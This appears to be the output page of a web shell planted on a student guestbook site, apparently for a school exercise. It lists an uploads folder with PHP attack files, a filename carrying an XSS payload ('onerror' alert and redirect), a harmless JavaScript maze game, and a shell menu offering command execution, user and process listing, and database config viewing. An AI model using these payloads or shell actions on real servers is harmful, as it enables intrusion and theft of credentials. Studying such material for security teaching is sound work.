🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg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1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0 ,1 ,0, 1, 1,],
  [1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1 ,1 ,0, 0, 1,],
  [1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0 ,1 ,1, 0, 1,],
  [1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1 ,1 ,1, 1, 1,],
  [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0 ,0 ,0, 0, 0,],
  [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1 ,1, 1, 1,],
];

document.querySelectorAll
const mazeContainer = document.getElementById("maze-container");
const mazeCanvas = document.getElementById("maze-canvas");
document.getElementById("restart-button").addEventListener("click", restartGame);

const context = mazeCanvas.getContext("2d");
const keyPosition = { row: 0, col: 1 };
const homePosition = { row: 26, col: 27 };
const cellSize = 20;
let steps = 0;

const img = new Image();
img.src = "key.png";

const img2 = new Image();
img2.src = "home.png";

function GameStart() {
  updateKeyPosition();
}

function updateKeyPosition() {
  context.clearRect(0, 0, mazeCanvas.width, mazeCanvas.height);
  drawMaze();
  
  context.drawImage(
    img,
    keyPosition.col * cellSize,
    keyPosition.row * cellSize,
    cellSize,
    cellSize
  );
  context.drawImage(
    img2,
    homePosition.col * cellSize,
    homePosition.row * cellSize,
    cellSize,
    cellSize
  );
  checkWin();
}



let showWalls = false;

function drawMaze() {
  mazeGrid.forEach((row, rowIndex) => {
    row.forEach((cell, colIndex) => {
      if (cell === 1 && showWalls && !isMazeCompleted()) {
        context.fillStyle = "#000";
      } else {
        context.fillStyle = "#fff";
      }
      // schakel de code hieronder uit om de muren van het doolhof te verbergen
        // context.fillStyle = cell === 1 ? "#000" : "#fff";
      context.fillRect(
        colIndex * cellSize,
        rowIndex * cellSize,
        cellSize,
        cellSize
      );
    });
  });
}

function isMazeCompleted() {
  for (let i = 0; i < mazeGrid.length; i++) {
    for (let j = 0; j < mazeGrid[0].length; j++) {
      if (mazeGrid[i][j] === 0) {
        return false; 
      }
    }
  }
  return true;
}


function toggleWalls() {
  showWalls = !showWalls;
  updateKeyPosition();
}

function moveKey(direction) {
  let newRow = keyPosition.row;
  let newCol = keyPosition.col;

  if (direction === "up") {
    newRow -= 1;
  } else if (direction === "down") {
    newRow += 1;
  } else if (direction === "left") {
    newCol -= 1;
  } else if (direction === "right") {
    newCol += 1;
  }

  if (
    newRow >= 0 &&
    newRow < mazeGrid.length &&
    newCol >= 0 &&
    newCol < mazeGrid[0].length &&
    mazeGrid[newRow][newCol] === 0
  ) {
    keyPosition.row = newRow;
    keyPosition.col = newCol;
    steps++;
    updateKeyPosition();
  }
}

document.addEventListener("keydown", (event) => {
  switch (event.key) {
    case "ArrowUp":
      moveKey("up");
      break;
    case "ArrowDown":
      moveKey("down");
      break;
    case "ArrowLeft":
      moveKey("left");
      break;
    case "ArrowRight":
      moveKey("right");
      break;
    default:
      break;
  }
});

function setCookie(name, value, days) {
  const date = new Date();
  date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
  const expires = "expires=" + date.toUTCString();
  document.cookie = name + "=" + value + ";" + expires + ";path=/";
}

function getCookie(name) {
  const cookies = document.cookie.split(';');
  for (let i = 0; i < cookies.length; i++) {
    const cookie = cookies[i].trim();
    if (cookie.startsWith(name + '=')) {
      return cookie.substring(name.length + 1);
    }
  }
  return null;
}

let highscore = getCookie("highscore") || 0;

function updateHighscore() {
  const highscoreElement = document.getElementById("highscore");
  highscoreElement.textContent = `${highscore}`;
}

function updateStepCounter() {
  const stepCounterElement = document.getElementById("step-counter");
  stepCounterElement.textContent = `${steps}`;
}



function checkWin() {
  if (
    keyPosition.row === homePosition.row &&
    keyPosition.col === homePosition.col
  ) {
    if (steps < highscore || highscore === 0) {
      highscore = steps;
      setCookie("highscore", highscore, 365);
      updateHighscore();
    }

    context.clearRect(0, 0, mazeCanvas.width, mazeCanvas.height);

    context.font = "30px Arial";
    context.fillStyle = "black";

    const textX = (homePosition.col + 0.5) * cellSize;
    const textY = (homePosition.row + 0.5) * cellSize;

    context.fillText("Gefeliciteerd!", 150, 100);
    context.fillText(`Je hebt ${steps} stappen verplaatst`, 70, 200);
    context.fillText(`Highscore: ${highscore} stappen`, 100, 300);
    document.body.style.backgroundColor = "whitesmoke";
  }
}

function restartGame() {
  keyPosition.row = 0;
  keyPosition.col = 1;
  steps = 0;
  updateKeyPosition();
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!